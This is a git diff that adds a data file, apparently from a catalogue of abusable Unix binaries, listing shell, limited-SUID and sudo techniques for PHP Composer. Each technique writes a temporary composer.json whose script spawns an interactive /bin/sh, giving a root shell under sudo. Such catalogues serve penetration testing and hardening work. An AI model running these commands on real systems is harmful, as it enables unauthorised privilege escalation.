diff --git a/data/composer.json b/data/composer.json
new file mode 100644
index 0000000..dc68cae
--- /dev/null
+++ b/data/composer.json
@@ -0,0 +1,19 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\ncomposer --working-dir=$TF run-script x\n"
+      }
+    ],
+    "limited-suid": [
+      {
+        "code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\n./composer --working-dir=$TF run-script x\n"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n"
+      }
+    ]
+  }
+}